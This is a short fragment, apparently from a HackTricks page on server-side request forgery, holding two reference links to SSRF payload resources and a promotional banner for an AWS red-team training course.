* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\